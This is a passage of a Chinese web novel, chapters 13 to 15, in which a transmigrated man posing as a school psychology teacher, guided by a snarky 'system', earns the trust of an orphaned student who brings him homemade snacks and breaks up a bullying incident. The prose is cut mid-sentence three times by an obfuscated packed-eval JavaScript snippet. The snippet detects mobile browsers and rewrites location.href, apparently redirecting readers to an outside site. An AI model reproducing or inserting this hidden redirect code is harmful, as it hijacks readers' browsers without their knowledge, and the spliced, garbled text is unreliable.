隗祯:「可我比较想做个人。」 「嘿,您可别看不起过路风光。都说就算是朵野花,也得托生在燕京城的院子里呢。您要是得濮怀玉同学青睐,要什么没有啊?」 这股油腻腻的京腔,让隗祯非常头疼——所以是在暗讽他吗?可他从不这么说话。 来不及言语回击,校长满面红光找上他:“小隗啊,你长这么高,腿这么长,跑得还没有我这个老人家快,不应该啊。体力不好,怎么为学生们做贡献呢?” 隗祯笑着打哈哈,拐个弯熟稔地恭维。所谓此一时彼一时,曾经的隗总、隗先生用起抬举人的话术,让被抬举的一方分外受用。 「友好值+1」 「当前友好值:33。」 「加油,隗小葵,你是最棒的。」 ……有爱看自己笑话的学生和系统,隗祯觉得这辈子有了。 领奖状合影的时候,隗祯更是恨不得立马跳下去。 「就这么一点点高,跳不死人的。」 隗祯感受到一丝苍凉:「谢谢你的提醒,但我还想活。」 朝看台眺望,密密麻麻都是穿着校服的学生,男女都有些难以辨认,更不用说从中找到濮怀玉的面容。隗祯虽然大抵摸清楚了1班在看台的座位,但濮怀玉此刻的所在,他看不见。 「叮,请宿主察看放大版。」 话音刚落,隗祯眼前就好像架上一台精密度极高的望远镜,鼓着掌的濮怀玉突然间出现在近处。 她鼓得很认真,还将双手比作圆筒,说“隗老师厉害”。 算了,笑话就笑话吧。隗祯释然了。 成为濮怀玉成长道路上的风景也没有什么不好。毕竟他这样,也确实挺搞笑的。 13. 013 “隗老师,我这次的年级排名比上次提升了五名,是第七名!” 隗祯持以“果然如此”的微笑:“你比过去更相信自己,自然能取得更好的成绩。” 秦紫怡前来履行售后服务,而对于另一位特殊的预约者,隗祯明里暗里打探出了濮怀玉本次考试的排名。 对于普通高中生来说,成绩往往是他们这一阶段唯一需要考虑的事情,一点点的变化都能够引起心绪的振动,他不得不关注。 但隗祯总觉得,濮怀玉已经走出了同龄人这一阶段需要完成的课题,这个小到不能再小的变化对她来说并不算什么。 秦紫怡的答复给了他肯定:“濮怀玉是我的好朋友,但跟我一点也不一样。她从来不为学习好不好发愁,高二的时候因为生病掉到年级五十名,她也面不改色。” 隗祯心底微微一惊,不禁道:“濮怀玉同学还会生病啊。” 然后很快意识到自己在学生面前说了蠢话,指不定被传成什么样,羞耻心让脸颊发热。 难道是把濮怀玉当做纸片人了?可她绝对是真实的,否则这段时间或近或远的相处算什么呢。 “那当然啊。隗老师,你是不是也觉得濮怀玉特别完美,完美的人不会生病啊。” 秦紫怡做了个展示肌肉的动作,聊起这位好朋友时一点都不内秀,“我们这里每年淹死的人很多,尤其是小朋友。她其实是为了救小孩跳进河里才生了大病,那段时间天气特别冷,濮怀玉不得不发着高烧考试。就这样还进了年级前五十名,高考要是这个成绩,都能去个还不错的985了。” “隗老师,你上次不是说,有益的人际关系可以帮助我放松吗?就是这段经历,让我特别想跟濮怀玉做好朋友。” 她说,“原来真的有这样好的人。我也想跟她一样,成为这样的好人。” …… 月考成绩公布后的几天,某一日早晨隗祯正准备像往常一样乘电梯上六楼,结果在电梯门口碰见拎着纸袋的濮怀玉。 准确来说,是左手拎纸袋,右手则握着身为半个违禁品的老人机,灵活地用拇指按动上下左右。 俄罗斯方块还是贪吃蛇?隗祯不清楚。他只知道自己的走近,让濮怀玉警觉地收起了手机。 “上去吗?”他问。 “这栋楼好像没有负一层,隗老师。”濮怀玉说,“有的话就是鬼故事了。” 隗祯自然不会把这次偶遇放置不管。 “叮”。电梯抵达一层的声音跟系统的提示音有些相似,往常隗祯可能会在进电梯后腹诽系统的没人性,然后获得“电击警告”,但现在他没有这个心情。 他在电梯按键前驻足,随后走进来的濮怀玉则待在电梯间左下角,两人可谓是隔着这个四方体内所能间隔的最远的距离。 “我去六层,你去哪里。” 濮怀玉看他侧首时流经眉眼、鼻唇的精巧线条,答:“也是六层。” 电梯上移,时间似乎也开始随之流转。 “我刚来一中不久,不清楚这里的情况。你已经学习了两年多,有从其他同学口中听说过什么怪谈吗?” “有是有。” 六层楼的时间,似乎很快,又似乎非常缓慢。快到隗祯没有经过太多思索便牢牢抓住濮怀玉随口一说的玩笑话,想要套近乎;同时缓慢到足够濮怀玉思考片刻,然后跟隗祯分享了一个热门鬼故事。 “听说发生在某一栋教学楼,如果运气不好没什么人,乘坐电梯的话有可能会发生卡顿的情况。” 濮怀玉平板的语气很适合叙说校园怪谈,没有太多主观情感,因而增添了惊悚的氛围,“尤其是在站位靠前的情况下,似乎可以感觉到从后方传来的冷气,听到若有若无的说话声。” “这时,无论听到什么,不要回应,也不要转过头。就算在电梯门上看到倒影,也千万不能够和它对上视线。” 然而与此同时,濮怀玉正饶有兴致注意着电梯门上隗祯的一颦一笑。是会明显地惊惧,还是碍于教师身份强装镇定,亦或是风轻云淡无所谓,无论是哪样,都让她掷出的这个故事变的完整。 隗祯:“不这样做,会怎样?” “隗老师,这不是个‘不这样做会怎样’的故事,另一个当事人已经非常谨慎,你应该问‘这样做了会怎样’。”濮怀玉道,“是个高二的男同学,他确信自己没有跟倒影对上视线,可他还是遭遇了不幸。” “因为,鬼根本没有眼睛。只要被盯上,就没有然后了。” “……” “你的故事很引人入胜。” 脚下传来滞涩感。“是真的,隗老师。”濮怀玉抬眸,电梯已经抵达六层,“但不是在这栋楼,是在后面实验楼。那里一年四季都很凉爽,你应该去过几次了。” 电梯门缓缓开启。隗祯随即走出,没有听到身后传来脚步声转头,却见濮怀玉将那只纸袋拎到自己眼前。 防止电梯门夹到她的手臂,隗祯不假思索搭把手接过来。此时,他终于知道他所不敢嗅闻的、淡淡的红枣香气来源为何。 不是濮怀玉刚刚吃下的早餐,而是纸袋里手工制作的枣糕。 她按了一下开门键:“隗老师,这是上周末我和家人一起做的点心。非要问原因的话,你就当是季军的奖励吧。” 奖励?谁奖励谁。 学生奖励老师?隗祯忽然觉得这份古拙的糕点烫手起来。 “我刚刚开玩笑的,我没有这个立场。隗老师,你就当是对那块提拉米苏微不足道的回报,礼尚往来而已。” 少女静静地伫立在刚才他站立的地方,“老师一个人住,日程表拥挤的时候可能分不出精力做饭。等下次有别的吃不完的点心零食,想起来的话,我会给您带的。” 说是礼尚往来,但隗祯感受到的是同病相怜的照拂。 怀疑值依旧没有归零,说明濮怀玉从二人偶尔的对话和相处中察觉到了违和。但系统匹配的身份无可挑剔,是既定的“事实”,濮怀玉最终选择压抑下怀疑相信这份真实,并且默默地给予照拂。 她照顾他?开什么玩笑。隗祯心里有些不是滋味。 明明濮怀玉自己都还只是孩子,她没有义务对他感同身受。他还是老师,在师生链条所暗含的权力关系中作为上位者存在。体谅他人的心酸,不着痕迹帮助,明明是大人的事。 隗祯不是没有收到过礼物,这太常见了,哪怕这一世以心理老师的假身份过活,也有家长或是试图与他建立关系的老师将各种礼品送到门前。当然,隗祯一份也没有收。无论他们的话术如何高明,他都能一眼看清楚他们打的什么注意,精挑细选过价格的礼品是想让他做到什么程度。 但濮怀玉的礼物完全不一样,就像一场不计后果的救助,一次无声的高烧。路过了,看清楚了,要做的无非是纵身一跃。 她在其中寄寓的施救者心理,那份“我们出生就在水里淹着”的认知,简直要让隗祯在纠结中咬烂自己的嘴唇。 “再见,隗老师,我要去上早读了。今天要抽默古文,我昨晚没有复习。” 她从来都是这般任性,依靠老天赏饭吃的记性抱个佛脚,就能应付过去。比起谦虚,濮怀玉喜欢直白地表现出来。 纸袋因为紧攥留下绽裂的勒痕,隗祯连忙道:“那你赶紧回教室吧,这个我收下了。” 濮怀玉轻微点头。 转身离开前,她道:“老师能好好吃饭,我和院长妈妈,还有孤儿院里的大姐姐,都会很开心。” 「友好值+10」 「当前友好值:43。」 隗祯愣神之间,少女平和的双眸已经为闭合的门所吞没。 电梯转而向下,能依稀听到响动,仿佛被锁链拖动。 他配得上如此丰厚的馈赠吗? 隗祯想,应该是不配的。他是系统虚构出来的真实,只要在这个世界呼吸就是欺骗。 「很高兴宿主对自己的真实处境有了恰切的认知。」 但枣糕恰如其分的甜味是真的。出于说不清道不明的、对自我存在的强调,隗祯行使了孱弱的回击权:「但你不能否认,她的礼物很有针对性。」 系统的声音充满机械感:「其实只是为了照顾老年人。」 一个上午在备课和接待预约咨询的同学中很快度过,隗祯的业务能力日渐增进,何老师都会打趣他“我的客源都到你那边去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455646|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”了。 貌似是在不轻不重地责怪,但隗祯莫名觉得这位老前辈会背地里偷笑,就像一个终于不用当班主任的任课老师。 为了用掉餐补,隗祯选择中午到教师食堂用餐。端着餐盘刚坐下来没几分钟,他便看见魏老师独自走进,脸带疲色在窗口前纠结,最后任意点了几道。 正当魏老师端起餐盘,对坐在哪里有些拿不定主意时,隗祯起身:“魏老师!” 若不是座位离得近,恐怕都要错失这次机会了。 魏老师定睛一瞧,便往这边走:“这么巧,隗老师也来吃饭,是下午还有事吗?这一周应该冲走不少心理健康课吧。” “是。但是月考刚结束不久,学生往心理咨询室走得比平时勤,偷不了懒。”隗祯笑着跟她拉家长,等确认魏老师在对面坐下后偷偷在心里舒出一口气,“而且马上就要赛课了,回家不如待在学校,看看哪里还能继续改。” 系统插话:「嘿,您瞧,这班味儿就跟老燕京的豆汁一样,纯!」 「……可以别说了吗。」再说他都想对系统采取电击手段了。虽然也只能想想。 魏老师表示同感。“你这次要是省赛结果不错,可就得推到国赛了。何老师早些年拿过一次国特,你可以跟她取取经。” 隗祯面上表示赞同:“是,我是新老师,得多学习才行。”取什么经,这次说什么都不能再拿名次添堵了。 随后,他拿出准备好的保温盒打开,里面是早晨尝过味道的枣糕,有一个小小的缺口,迎面鼓来温热的蒸汽。 “隗老师,你这个糕点看着……” 隗祯貌似不解:“怎么了,魏老师?这是学生今早送给我的,说是为了礼尚往来。我都有点不好意思了。” 眼前的女老师有些无奈:“是濮怀玉送给你的吧?我也收到了。这孩子真是的,她惦记着你的这一份,要么是你平常多关照她,要么就是……唉。隗老师,我平心而论,没有别的意思,你也是个可怜人。” 隗祯没接最后那句,他担不起,只针对前面的回答,说:“您说笑了,实在是不能不关照。魏老师,濮怀玉跟其他同学不太一样,您应该明白我的意思。” 魏老师当然明白。濮怀玉的早熟让她很多时候无法完全将她当做需要被教导的学生和小辈对待,而是更加平等的、能够说得上话的倾听者。 “说起来惭愧,我们这些做老师的,就算知道一个学生有特殊情况,有难言之隐,其实也帮不上太多忙。” 魏老师轻轻叹气,“所以,是濮怀玉先找到的我。那段时间我因为……家庭变故,只能强撑着意志上课,连饭都顾不上吃,整个人浑浑噩噩的。” “是她找上了我,说‘老师,你要不要来我家吃饭,不用给钱’。隗老师,我早就知道濮怀玉的家庭背景,我当时甚至特别伤人地想,‘说到底,你哪里来的家’。” 「线索三:她有自己的意志和衡量标准,拥有超越世俗限制关心身边人的决心。」 老师是一个被要求尽善尽美的职业,但老师也是人。“后来呢?”隗祯不多问,不去发掘更多的愧疚,只是追问。 魏老师笑了笑:“我后来去濮怀玉家里吃了饭,她的手艺还真不错。然后那年寒假,包括过年,我是在她家做义工度过的,很充实。” “隗老师,你要是觉得寒假在家太冷清,也可以去做义工,随愿孤儿院挺缺人手的。而且我觉得,就算你只是去吃顿饭,濮怀玉也会很欢迎你。” 随愿孤儿院。隗祯默默记下这个名字。 “好,我会考虑的。” 魏老师终于动了筷子:“以后濮怀玉怕是会隔三差五给你带点好吃的。你别看她年纪小,都没成年,她在家里可是第三号人物,属于小家长,其他孩子都叫她姐姐呢。” 隗祯笑着附和:“那濮同学这个家长应该当得挺别致的。” “她啊,什么都能做好。”魏老师喝一口蛋花汤,“有时候我真的忍不住想,想破脑袋也不明白,这么好的孩子,当初她的爸爸妈妈怎么舍得把她抛弃的。” 隗祯微微垂眸。 “……大概是因为,濮同学不需要他们,自己也能长得很好吧。” 14. 014 如魏老师所言,濮怀玉之后真的陆陆续续给隗祯带了各种各样的老式点心和零嘴。她一般不做心理咨询,都是陪好友来,便借着这个机会坦然地递给他。 坦然到仿佛是一场静默的宽恕。 秦紫怡往往在一旁帮腔:“隗老师,学校虽然不让收礼,但这不算。我会当做看不见的。” 濮怀玉并没有刻意瞒着这位好友,实在没什么好瞒的,而秦紫怡也拿了濮怀玉的“好处”——尽管她们之间从来不谈这个词,但她确实吃了濮怀玉带来的零食。这股老少通杀的淳朴味道还真是该死的迷人,反正秦紫怡有被贿赂到。 “小玉,我这方面必须得跟你学,我妈老说我不会来事。” 濮怀玉:“我的无限vvvip心理咨询卡还真不是因为送礼得来的,vvvip卡到手在送礼之前。” 而且这也不是濮怀玉一个人的主意。院长听说了隗祯的身世,考虑到他是濮怀玉的心理老师,又想到现在有很多孩子存在心理健康问题,感慨万千。 隗祯无父无母、本应困扰于久漫于心灵的阴雨,却能深耕这一领域,实在是难得。 “那你顺道也给这位隗老师带点。” 濮怀玉起初还有异议。送一次枣糕罢了,就当是回礼。可要是持续下去,总觉得隗祯和枣糕、蛋卷、鸡蛋糕这类食物过于务实的基调不太相符。 她至今疑心于隗祯这个人身上存在的矛盾点。他似乎很难真正扎根于此,从濮怀玉的视角看,隗祯应该在更精细的地方细细地养、精心地成活。 然而转念一想,濮怀玉又觉得这般臆测实在冒犯人,本身是对他自我求生意志的不尊重。况且,她本就要时常跟魏老师来往,宽慰她那颗因为失去孩子伤痕累累的心,多一个隗祯又有何妨。 “……大概是因为,隗老师也很不容易吧。” 这句话没头没尾,但秦紫怡觉得,既然是濮怀玉拿的主意,里面肯定是有原因的,而且原因会很正当。 她手一挥:“那你去吧!我不会嫉妒的。” 用秦紫怡的话说,“我的包装袋甚至比你孝敬老师的那份要漂亮得多”。 濮怀玉没有回答,只在心里小声嘟囔,说她给魏老师准备的那份才是最用心的。 魏老师的儿子被父亲蒙蔽,恨不得将她这个呕心沥血的母亲一口气甩到天边去,当下也已经如了愿,连见魏老师一面也不想。 濮怀玉很替魏老师不值,会在心里悄悄想“要是魏老师是我的妈妈,我会怎样怎样好好孝敬她,至少不要让她伤心流泪”。 院长妈妈很好,但对年长女性天然具备的孺慕之心让濮怀玉只想贪心地说,“多一个妈妈又有什么大不了”。 至于父亲,濮怀玉不熟悉这一角色,也不准备熟悉。 下了课,濮怀玉没说什么,只是拎起帆布包,魏老师便心领神会把她带到空无一人的班主任办公室内。 “妈……魏老师,这是我上次回家,跟妈妈和姐姐一起烤的饼干。” 魏老师明白她的关心:“谢谢你。这次你也准备了隗老师那份吗?” 脱口而出的口误让濮怀玉不自然地咳嗽了一声以作掩饰。她点头:“嗯,准备了。” “以后你一起给我,我帮你一起转交给隗老师吧。” 魏老师有自己的思量。但既然对象是濮怀玉,她觉得藏着掖着并不必要。 “濮怀玉,隗老师毕竟是男老师。”她道,“我知道绝大多数都是好老师,但正是因为少部分男老师的无耻,让正常的距离和互动都变的不正常,所以我想你至少不用频繁私底下跟隗老师……” 正如濮怀玉偷偷从一个体谅母亲的女儿角度关心她,魏老师也从一个忧心女儿的母亲角度委婉地提出建议。 “我明白您的意思。”濮怀玉将另一袋包扎严实,但无论花色还是包装方式都很不拘小节的饼干递给魏老师,“就是得麻烦老师。” 魏老师:“这倒还好,隗老师一般中午都在学校用餐。” “那您可以顺便帮我问问隗老师的意思,看看有没有来做义工的意向。”濮怀玉对魏老师做出说悄悄话的手势,送礼之外剩余的小私心一览无余,“要是愿意多干点,帮忙看看孤儿院里面孩子们的心理状态,就更好了。” 是的,她悄悄惦记着隗祯的学历,以及他在心理学方面的专业素养。 孤儿院受到的资助很有限,所以濮怀玉精打细算下来,发现是个一举多得的好事。 魏老师忍笑:“好,我去帮你问问。” “要是隗老师明说不想去,也没有关系。”濮怀玉认真地板着脸,“我不会让隗老师吐出来的。” 魏老师温和地拍了拍少女的肩膀,让她放宽心:“我给你把话都带到位。” “魏老师,你人真好。” 濮怀玉满足了。 与此同时,另一边,隗祯看到零零碎碎加到50然后迟迟不再动弹的友好值,赛完课的轻松感一扫而空。 「友好值超过50需要达成其他条件吗?」 「人类的情感是流动且连续的,宿主。您比我更懂,不应该问出这个问题。」 隗祯思索片刻,换了个问法:「我可以知道濮怀玉对其他人的友好值吗?这应该是你可以预见的吧。」 「叮,宿主想要知道任务对象对哪位的友好值?」 「随愿孤儿院的院长,还有魏老师。」 「收到指令。经系统检测,在保密范围以外。」 「……正在查询中……」 「叮,分别是100和94。」系统给出明确答复,「友好值是一个概括的说法,可以是人类情感中的任意一种,系统不会给出更具体的限制。以上数值仅供宿主参考。」 隗祯追问:「那她的朋友呢?我说秦紫怡。」 「叮,是86哦亲。」系统难得耐心,「打个比方的话,如果有人突然想要伤害秦紫怡同学,任务对象会在没有武器的情况下用身体挡住哦。」 隗祯皱眉,他总觉得高中生不该过早地沾染生和死,多种姿态享受青春才是要紧事:「多注意避谶,不要总说这种丧气话。而且你的话也不对,依濮怀玉的个性,无论是谁,她都会救。」 系统没有说话,就好像骤然被隐形的力量扼住了喉舌。 隗祯并未深究它此刻的沉默,只当是系统被他呛了一下。在濮怀玉本人的问题上,这位机器相当有人情味,既然认同他的辩解,理所当然只能理亏地闭嘴。 似乎太过于沉浸了。隗祯没有意识到这一点,反倒在心里下意识比较起来。 50的友好值,确实相当不够看。只有这点友好值,哪怕叠加一层老师的身份,隗祯都没有成功介入濮怀玉人生的信心。 傍晚开了会,教师食堂因此比往常拥挤。 “隗老师!” 本以为只是单纯打招呼,毕竟今天的隗祯没有想要打探的消息,然后魏老师便将饼干递给了他。 她笑着说:“看来明天的早饭有着落了。濮怀玉和她家人的手艺我是知道的,就着牛奶很美味。 既然是濮怀玉非要转交,隗祯没有理由不收下。他道:“濮同学也真是,还麻烦您来做这种小事。” “是我非要这么做的,隗老师。”魏老师沉声,“您毕竟是男老师,跟女同学保持一点距离也是应该的。” 她说的已经很直白,隗祯不可能不明白。 “是,魏老师说的不错。”但他不是败类中的一员,所以一笑而过,把饼干收好,“是该小心点,要不然就算没有什么,被好事者造了谣、传了闲话,老师可以换个学校待着,学生的未来却是被硬生生打断了节奏。” 他的态度相当坦荡,让魏老师很满意。接下来两个人面对面坐着吃饭,魏老师也当起了媒婆,要给隗祯介绍对象。 隗祯婉拒了这位操劳的前辈:“魏老师,我这几年应该都不会考虑结婚的事。” “现在的年轻人,好多都是你这样,不愿意结婚。” 隗祯笑了笑:“我跟他们的理由应该不太一样。” 毕竟料谁都不会想到,他是自异世界而来的幽魂,只停留两年左右的时间。过去是捏造的,也不会拥有未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他没好气地收回包装,然后道,「你没看见医务室没有阳台吗?而且我又不是迪○尼公主,怎么确保濮怀玉一进来就能看到,想着‘哇塞隗老师竟然会召唤小鸟’,然后给我加个一两格友好值。」 系统“啧”了一声,隗祯确信没听错,这个刻薄的机器真的很人性化地“啧”了一下:「说明你还是不够全面。」 「我可以是取乐濮怀玉的小丑,但我真的做不了迪○尼公主。」这已经是隗祯牺牲尊严委曲求全的结果。 反正都是假的,出点丑又怎样。他一直这么告诉自己。 含着怒气入睡,再发散着怨气去上班。 系统再度指手画脚:「或许宿主不该那么早消耗完小饼干。」 「呵。所以就连吃饭,我都需要接受你的管束吗?」 可这一天实在不顺,明明工作量很小,却被教务揪着小事接机发挥敲打一番。唯一的座驾又突然坏了,这么短的距离隗祯准备一路走回去。 琐碎的生活,琐碎的不顺,彼此嵌合在一起成了一条很磕脚的道路。隗祯感到心烦,预备抄近路回家,小巷深处却传来训斥,走近了还有摔打声。 “钱呢?我问你呢!学习那么好,你爸肯定奖励你不少钱吧!” “说话啊,不说话信不信我扇你啊。” 「前方出现霸凌现象,检测到被霸凌方是一中的学生。」 「这里离一中很远吗?做坏事真是一点都不忌惮啊。」 作为老师,隗祯不能袖手旁观;而作为被濮怀玉影响着的人,哪怕系统不说其中一方是隋城一中的同学,隗祯也要无差别伸出手,否则他会产生道德上的不相配感。 本就是依靠欺骗获得友好值的劣迹教师,不多考虑如何中和坏事迹,难道还想置身事外吗。 “你们在干什么?都给我住手!”他走近时紧蹙双眉,“你们以为这是哪里?从巷口往左拐,一直走就能到一中。你们在这里欺负一中的学生?” 为首的男同学雄激素高的像是三四十岁,就像从油锅里捞出来的一团饺子不像饺子、麻球不算麻球的糖油混合物,满脸都是油腻和蛮横。看到隗祯一个人,他首先露出的是不把他放在眼底的表情:“你谁啊,别多管闲事!小心我让几个哥们儿一块揍你。” 隗祯可是练家子:“那你试试看——” 说时迟那时快,一道残影从他身边疾速略过,就跟飞起来一样。 在隗祯震惊的眼神中,突然出现的濮怀玉用实际行动告诉他,她是真的会“空中飞人”的伎俩。 电光火石间,为首看着体量不小的男学生已然被揣倒在地。 15. 015 在哀嚎声中,小巷依稀透进一点光。少女站在日光的必经路线,似乎她就是那个存在感不言自明的端点。 “不能欺负同学和k……老师。” 后知后觉想起不能泄露隗祯的信息,防止这些祖国未来的百草枯找麻烦,濮怀玉将字眼模糊,像一声终于无法抑制的咳嗽。 隗祯则想——“刚才那也太夸张了”。 比他看过的任何一步动作片都要夸张,因为荧幕上的动作往往是经过无数人员斟酌、打光、反复剪辑成就的,甚至可以是“假”的,因为不可避免需要吊威亚。 但濮怀玉刚才一记非常标准的飞踹,没有凭借任何外力。 她对被欺负到脸颊发青的男同学小幅度勾了勾手指。那同学反应过来,瞟了一眼在地上跟灰尘缠绵、龇牙咧嘴的真·校霸,瞅准机会跑到濮怀玉身后。 她脸上没有表情:“你们是东边职高的同学吧。不去网吧和游戏厅,到这里干什么,难道是不务正业学习吗。” “你个臭娘们——” “臭的是你,别贼喊捉贼了。”只听“嘭”的一声,濮怀玉直接锤散了最近一块砖头。 开口的男生本就是跟着“大哥”混的喽啰,濮怀玉一展示非比一般的手劲,他立马噤声,刚刚的气魄荡然无存。 隗祯注意点则在她紧握的拳:“濮怀玉,你刚才在做什么,不要自我伤害——” “在展示绝对力量。”濮怀玉觉得他插话有点吵,但还是耐着性子,“老师,你先别说话,我有我自己的节奏。” 她用发自心底尊敬教师这一行业的口气打断了隗祯,这种感觉很微妙。 真心的谦卑和对自身的倨傲并不冲突,至少濮怀玉捋起衣袖袒露的一双手臂,肌肉线条流畅而具有张力,就像反叛的琴弓静默蛰伏,等待一场狂风骤雨般的演奏。 为首的校霸费了老大劲终于爬起,身形晃着,手在后背上不住揉着,面部表情因为痛楚扭曲。 濮怀玉很清楚这种人,要是一开始没有从精神和□□两个层面一下子震慑住,凭他们的劣性定会生变。 她追求效率,不想谈不拢以后再使劲,这样太拖沓。所以濮怀玉指了一下他:“别装了,我收着力气,你肋骨肯定没断。” “我*,我还没动手,是你后边那个老不死的自己走进来的!” 刚被欺负的男同学偷看了一眼隗祯,全校就两个心理老师,他当然认得这张脸,无论如何都跟“老不死”扯不上关系。 濮怀玉也很不赞同。怎么能说隗老师是老不死的呢,他的脸那么权威,如今站在那里像是阴暗的巷口艰难向外伸出的一枝兰花,是无论如何都不能早死的。 “你不能这样说老师。” 濮怀玉做出起势,就像野狼准备捕猎,“而且就算老师没有受伤,你还欺负了我们学校的同学,我不会放过你的。你能这样说,看来你身上还是不够痛。” 那校霸后退一步,连连摆手:“不不不,肯定不能再来了。我、我告诉你,我们几个再不济也是同学,你信不信……我回去告老师!” 人穷则反本,只是放在他们这些人身上多少有些好笑。 “这里肯定没有摄像头。”既然他不老实,濮怀玉没必要来文的,已经开始跃跃欲试,“有的话,也是你们完蛋。” “你不会觉得,你在老师面前比我更有说服力吧。” 她比这些混混还期待真的打起来,但她知道不可能真的实现。瑟缩的学弟可能会瞒着这一切,可还有隗祯那双眼睛看着。 “大姐,我错了,我们几个都错了……你们愣在那里干什么!快来道歉!” 濮怀玉眼神示意学弟往前站一点,害怕的话至少站到她旁边,然后就这样挑剔起来。 她冷着脸扭头:“你也给两条建议,接受道歉的人是你,又不是我。” 学弟颤颤巍巍回答“好”,片刻后小心翼翼说校霸衣服上的灰尘没掸干净,这样不够有礼貌。 “你照他说的做就行,不要看我。”濮怀玉冷淡地警告,再在这群人准备离开的时候伸出手,“光道歉有什么用,给钱。” 她不忘回头,话语面对几个职校生,眼睛却看着隗祯。就像在默默向他保证,“隗老师,我除了制止同学霸凌时过激了一点,其他时候都有理有据”。 “除了还钱,还有医药费和精神损失费。很合情合理。” 男学生已然迅速退到她身后,身形颤抖了一下:“学姐,不要这么做吧……” “做不做,他们都记住你了。”无需多言,濮怀玉知道他在想什么,“你觉得经历了这些,他们还敢动你吗。我不知道你怎么想的,但对我来说钱很重要。” 男学生不再多言,几个人最终也掏出了身上所有的钱。 而在交到濮怀玉手里时,为首的老大有些不安分,用眼神暗示小弟实行人海战术,群殴一个女的总能赢吧?结果下一个呼吸之间,他被濮怀玉一个扫堂腿绊倒在地。 收回有力的右腿,濮怀玉目不斜视走到一旁,低下头熟稔地点钱,俨然是个冷面流氓,冷情土匪。 数字说得过去。濮怀玉面无表情轻嗤了一声,将钱塞进男学生手里,说话时隐隐闻见鄙夷的辛辣:“想偷袭我,下辈子吧。” 那男同学仍在害怕,摸到钱像是被烫了一下,但还是小心地把钱收进口袋。 “再让我看到你们过来堵一中的师生,见一次踹一次。” 校霸再一次争辩,高声起来:“我都说了,老不……老师是自己走进来的,我们没堵他!” “我只需要‘是’或‘不是’。” 气沉丹田间,濮怀玉的声音更响亮有力,配上凌厉的眼神让人不寒而栗,“做不到,现在我就可以跟你们了结了结。” “做得到,肯定做得到。” 走出小巷,男学生嗫嚅着答应一定将今天的遭遇转告家长老师,绝不有所隐瞒,然后才跟濮怀玉和隗祯道别。 “隗老师,你搬过来也才几个月,不清楚的话我告诉你。” 濮怀玉语气里的镇定感容易掩盖措辞的不客气,她总是用细节让人感到迷惑和矛盾。 少女的尊敬毫无疑问,但她的个性里似乎也隐藏着特别的独断专行,只是被“正确”掩盖而已,“隋城的治安虽然不错,但有些偏僻的角落,你最好不要去。” 这种独断专行,来自她对正义的笃信。 无论旁人说的再好听,濮怀玉会用实际行动告诉TA,她能做到言行一致。 “我明白了。”隗祯顺从地点头。 他的医生朋友曾在英国交换学习过一段时间,抱怨过此类现象,没想到隋城也有自己的teenager。 克制住询问濮怀玉怎么练得这身功夫的欲|望,他自觉尽起保护学生的责任,问起濮怀玉这个时间点为什么出现在这里:“你吃过饭不回宿舍休息吗?” “还没吃,先出来买笔。” 濮怀玉看着他:“我没有外出凭证,这次是溜出来的。隗老师,你应该不会把两件事告诉魏老师吧?” “你说哪两件?” 他有心睁一只眼闭一只,濮怀玉便也不打破砂锅问到底,嘴角很快地上翘了一下:“那我不说了。” 「友好值+5」 「当前友好值:55。」 「此次友好值是自任务对象出现后累积计算的结果,恭喜宿主突破50大关。」 无心的一次行善,比刻意追寻共鸣要有效得多。 但从过程来说,隗祯觉得自己并未起到什么作用。如今越来越多次,他觉得自己的所作所为和濮怀玉给出的友好值反馈不匹配。 他想做更多。 “既然你还没吃午饭,最近有一家不错的餐馆,我给你打包一份带回学校吃吧。”隗祯清楚男老师和女学生应该保持的距离,这是他短时间内仔细考虑的结果,“耽误了这么多时间,这个点也不知道食堂有没有供应了,你总不能不吃饭。” 濮怀玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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「这难道不是宿主一开始期盼的吗,等到任务对象的友好值达到一定高度,宿主就可以丝滑地介入其人生,趁早无痛返回原本的世界了。」 「……但我是老师。」 非但帮不到濮怀玉,还得屡次要她来帮助和影响。 他的纠结和难眠,濮怀玉并不清楚。解决完买笔的小问题,她绕开保安室,闪身回到学校里面,再蹑手蹑脚摸回宿舍。 隋城一中的三餐从来很人性化,虽然这点人性化是为了吻合学生没有时间堂食的需求,需求又是人为制造的产物,一环扣一环的人性化多少有点讽刺,但濮怀玉可以半阖起眼睛说自己很满足。 希望隗老师能够守护住诺言的重量。吃完饭冲洗过脸颊,濮怀玉仰躺在床上,很快失去意识。 她做了个很混乱的梦,只记得情绪大起大落时不断挤压身体的压迫感,醒来时忘得一干二净,不肯在她平庸的生活留下半点不同寻常的痕迹。 濮怀玉讨厌这种梦。什么都不说,又好像什么讨人厌的话都说了,唠叨“学生的本职工作就是学习,白日梦想都不要想”。 下午上课,她很快肚子饿了。这时心头不免涌上淡淡悔意,自己硬是介入,跟人对峙,这份功劳换一份午餐不过分吧。 “濮怀玉。” 课下,魏老师突然念她的名字。濮怀玉上午刚闹腾过,心虚难免,直到魏老师说清楚是去帮语文课代表搬运、分发最新的双周练试卷和作业本。 两人除却师生关系,还有一层私交。因此魏老师哪里看不懂她的表情,直觉有异,半道把濮怀玉拉走,几番询问下来她全招了。 “下次不要做这么危险的事,就算隗老师也在场,第一时间应该联系警察,知道吗。”确认过濮怀玉身上没有伤害,连疑似淤青的阴影都摸不到,心里松一口气的时候又板起脸,“别真把自己当成刀枪不入的盾牌。” “知道了。”濮怀玉站在她身旁,头微垂,手往身后背去,脑海浮现起隗祯和男学生看见她冲出来时的模样。 